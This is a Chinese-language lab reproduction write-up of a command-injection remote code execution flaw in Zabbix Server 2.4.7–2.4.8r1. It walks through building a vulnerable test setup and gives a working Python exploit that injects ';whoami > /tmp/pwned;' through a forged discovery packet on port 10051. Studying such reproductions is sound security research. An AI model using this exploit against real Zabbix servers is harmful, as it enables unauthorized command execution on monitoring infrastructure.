前言 有点相似Zabbix是一种企业监控解决方案,旨在使组织能够监控其网络中各种系统的健康状况和状态,包括:网络服务,服务器和网络设备。前些日子Lilith Wyatt of Cisco ASIG 发现利用命令注入的形式可以在Zabbix Server上实现远程代码执行,影响的版本为Zabbix 2.4.7 – 2.4.8r1。在复现过程中发现利用条件比较苛刻,首先需要能访问到Zabbix Server监听的10051端口,另外需要配置Proxy,以及相应的Action来自动添加Host,从而达到利用ip参数进行命令注入。
1. 基础工作 下载centos7 用virtualbox进行运行,接下来就是安装php mysql apache等相关基础运行环境。关闭SELinux和防火墙以及启动httpd,mariadb。添加zabbix组和用户,zabbix_server组件默认会用zabbix用户启动
yum install php php-mysql php-gd php-pear mariadb-server mariadbsystemctl start mariadbsystemctl start httpdsystemctl stop firewalld.servicesetenforce 0groupadd zabbixuseradd -g zabbix zabbix
2. 编译安装Zabbix2.1 下载有漏洞的版本 wget [project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz](project/zabbix/ZABBIX%20Latest%20Stable/2.4.7/zabbix-2.4.7.tar.gz)2.2 安装依赖yum install -y curl curl-devel mydql-devel net-snmp snmp net-snmp-devel perl-DBI php-gd php-xml php-bcmath php-mbstring php-ldap php-odbc php-xmlrpc2.3 编译并安装可以修改--prefix参数来选择安装目录 tar -xvf zabbix-2.4.7.tar.gzcd zabbix-2.4.7/./configure --prefix=/usr/local/zabbix --enable-server --enable-agent --enable-proxy --with-mysql --enable-net-snmp --with-libcurl makemake install2.4 导入数据mysql -uroot>create database zabbix character set utf8 collate utf8_bin;>use zabbix;>source /root/zabbix-2.4.7/database/mysql/schema.sql>source /root/zabbix-2.4.7/database/mysql/images.sql>source /root/zabbix-2.4.7/database/mysql/data.sql
3. 安装Zabbix Web界面3.1 复制PHP文件到web目录mkdir /var/www/html/tcd frontends/phpcp -a . /var/www/html/tcd /var/www/html/tchown apache:apache -R .3.2 修改php.ini由于访问setup.php时需要符合一定的配置 post_max_size = 16Mmax_execution_time = 300max_input_time = 300date.timezone = Asia/Shanghaiallow_url_fopen = On3.3 安装前端访问虚拟机的80端口进行安装,安装后默认登录凭证是Admin/zabbix
4 漏洞复现4.1 添加 proxyAdministration > proxies > Create proxy 记下填写的name 4.2 创建 Actionconfiguration > action > Event source(Discovery)> Create Action配置好条件和操作,操作为Add host 4.3 触发漏洞当zabbix_server启动时会监听在10051端口,该端口如果对外开放,攻击者可以利用zabbix协议的command功能调用数据库中特定的脚本,只需要提供interface表中的hostid参数。在调用脚本时,{HOST.CONN}会被替换成表中的ip。由于插入的ip数据没有被过滤则将发生命令注入,严重时可以反弹shell等。默认情况下,未经身份验证(需通过Zabbix授权)的攻击者无法做到这一点。要利用该漏洞还需要以下条件:配置好Action的自动发现功能,该功能可以将恶意的数据插入到interface表(配合Add host操作),从而可以进行命令注入攻击。 import socketimport structimport jsonZABBIX_HOST = "192.168.1.12"ZABBIX_PORT = 10051def send_to_zabbix(data): client = socket.socket() client.connect((ZABBIX_HOST,ZABBIX_PORT)) packet = "ZBXD\x01" + struct.pack('<Q', len(data)) + data client.sendall(packet) head = client.recv(1024) if "ZBXD" not in head: client.close() return head pkt_len = struct.unpack('<Q', client.recv(8)) data = client.recv(pkt_len[0]) client.close() return datadata = """{"request":"command","scriptid":1,"hostid":10107}"""discovery = """{ "request": "discovery data", "host": "test", "clock":1485353070, "data": [ { "clock":1485353070, "drule":2, "dcheck":2, "type":0, "ip":";whoami > /tmp/pwned;", "dns":"abc.com.cc", "port":10050, "key":"zzztest", "status":0, "value":"fuck" } ] }"""#利用自动发现功能添加Host#可以‘select * from interface;’ 查看是否自动添加成功print send_to_zabbix(discovery)#利用命令注入进行攻击# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1print send_to_zabbix(data)hostid添加到interface表后需要自己查看修改。 运行后可以看到生成了/tmp/pwned文件
5. 参考[url=]documentation/2.4/manual/installation/install[/url][url=]browse/ZBX-12075[/url][url=]documentation/1.8/protocols[/url] [url=]xqzt/p/5126523.html[/url]
原创:星光@TCC Group
|